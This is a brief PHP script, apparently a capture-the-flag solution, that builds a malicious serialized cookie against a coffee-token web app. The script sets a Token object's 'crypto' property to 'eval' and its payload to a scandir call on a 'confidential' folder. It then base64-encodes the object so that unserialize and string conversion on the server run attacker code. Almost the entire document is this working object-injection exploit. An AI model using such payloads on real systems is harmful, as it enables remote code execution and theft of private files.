- substr: documentation ( source)
- unserialize: documentation ( source)
- serialize: documentation ( source)
- base64_encode: documentation ( source)
- rand: documentation ( source)
- md5: documentation ( source)
<?php
class Cookie{
public $username;
public $coffee;
public $token;
public function __toString() {
return "<p> Hey ".$this->username."! </p><br>" .
"<p> Here is your token for a free ". $this->coffee."!!</p><p>".$this->token."</p><p>Give us this token at your next visit!</p>";
}
}
class Token{
public $coffee;
public $username;
public function __construct($coffee, $username){
$this->coffee = (string)$coffee;
$this->username = (string)$username;
$this->crypto = "crc32";
}
public function __toString(){
$x = $this->crypto;
return substr(md5(rand($x($this->coffee . $this->username), 0xc0ffee)), 10);
}
}
$c = new Cookie();
$c->username = "abc";
$c->coffee = "def";
$t = new Token("scandir('./confidential');", "");
$t->crypto = "eval";
$c->token = $t;
$s = serialize($c);
echo base64_encode($s);
echo "Komtie";
$c2 = unserialize($s);
echo "Cookie.toString: " . $c;